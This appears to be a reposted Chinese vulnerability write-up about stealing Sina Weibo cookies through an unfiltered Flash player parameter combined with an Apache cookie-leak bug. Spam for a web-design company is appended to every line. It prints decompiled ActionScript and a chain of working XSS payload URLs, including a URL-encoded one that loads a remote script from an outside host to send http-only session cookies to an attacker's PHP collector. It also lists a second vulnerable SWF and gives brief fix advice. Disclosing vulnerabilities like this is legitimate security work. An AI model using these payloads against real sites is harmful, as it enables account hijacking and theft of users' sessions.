加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 漏洞分析

新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]

时间:2013-02-27 09:24:09  来源:互联网  作者:gainover  点击:

最近突然觉得,很多FLASH开发人员在编写的时候,忽视了安全问题。被恶意利用的话,可以实现URL跳转,COOKIES盗取,甚至是蠕虫攻击。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
漏洞测试:IE , firefox , chrome(= = 这个输入测试代码,浏览器直接崩溃了)Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
漏洞成因Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
1. 首先说的是FLASH编程安全问题:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
一些编程人员,对于loaderInfo.parameters 所传入的参数都不会严格过滤,甚至很多开发人员都有把Javascript函数名作为参数传入的习惯。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
而事实证明,新浪的开发人员也有类似的习惯。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
2. 首先google 了一下inurl:(swf) site:weibo.com ,将搜索结果中的SWF全部下载下来。 用ASV全部反编一下,得到若干txt文件,每个FLASH一个。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
3. 漏洞利用条件: 有parameters, 有ExternalInterface.call。 我们以此2个关键词搜索上面得到的txt文件。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
4. 最终锁定一个目标。http://tw.weibo.com/_common/jwplayer/player.swfQtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
5. 其漏洞源码如下:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
//加载外部参数Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
this.loadFlashvars(RootReference.root.loaderInfo.parameters);Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
//写入参数Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
this.setConfigParam(param, params[param]);Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
//继续,可以看到参数写到了_config 里Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
//再搜索ExternalInterface.call,找到以下位置Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if (ExternalInterface.available){Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
for each (callback in callbacks.replace(//s/, "").split(",")) {Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
try {Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
} catch(e:Error) {Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
};Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
};Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
clearQueuedEvents();Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
};Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
//可以看出call<--callback<--callbacks<---_player.config.playerreadyQtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
6. 基于以上分析,我们可以很容易构造出利用代码。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
7. 但是这样的代码,还不足以构成危害。 顶多就是一个URL跳转。 连cookies都是获取不到的。如以下代码,将返回[拒绝访问]的错误。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
8. 突破限制,获取cookies。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
正好昨天在百度javascript吧看到一片帖子href,src的妙用(http://tieba.baidu.com/p/1583718448)。正好拿来突破这种限制了。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
(广告一下,喜欢javascript的可以经常来玩玩!!)。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
利用文章中所讲技巧,构造以下代码:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
9. 从上面可以看出,弹出weibo.com的cookies里。但是当我拿这个cookies来发送微博的时候,发现不成功。 比较了一下获取的cookies,发现SUS,SUE两个值是http-only的,也就是document.cookie得不到的。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
10. 前些天看到有人发腾讯的apache cookie 泄漏漏洞,结果因为没有漏洞利用场景被忽略了。看了下tw.weibo.com的HTTP头,正好是apache的,我们这里可以尝试用一用了!!Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
从exploit-db下载了利用的JS,做了点小修改。如下,保存为http://appmaker.sinaapp.com/test3.jsQtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
11. 构造以下利用代码,调用上面这个JS文件。代码中的test.php为接收cookies的文件。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script/src=/'//appmaker.sinaapp.com//test3.js/'></script>"'})Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
编码一下,可以发到微博:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
12. 结果表明该服务器存在apache cookies泄漏漏洞,效果见漏洞证明。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
------------------------------------------------------------Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
总结:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
1. FLASH的编写安全不容忽视,实际上,我找到了10多个FLASH中,有2个FLASH可以被利用到。这说明这种漏洞不是偶然,而是被开发者忽略掉的一个问题。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
另外一个不在weibo.com的域名下。提供给你们一起修复下吧!Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')})Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
2. 本流程为apache cookies泄漏漏洞的利用,提供了一个利用场景。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
漏洞证明:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
1. 微博写入链接:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
2. 点击链接后,抓包,见图Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
A. Apache cookies 泄漏图,其中包含有document.cookie无法获取到的SUS,SUEQtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
B. 可以看到Cookies被转发到我们指定的PHP文件中。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
3. 利用Cookies在SAE发送微博失败。。 提示是Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
“抱歉,你当前使用的账号、IP或应用由于违反了新浪微博的安全检测规则,暂时无法完成此操作啦。你可以绑定手机来取消此限制,如有问题@微博客服反馈。” 可能做了某些其他限制。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
修复方案:Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
1. 审查已上线的FLASH文件代码,严格控制FLASH文件参数的输入Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
2. apache的漏洞给打补丁。Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

Qtx成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
栏目更新
栏目热门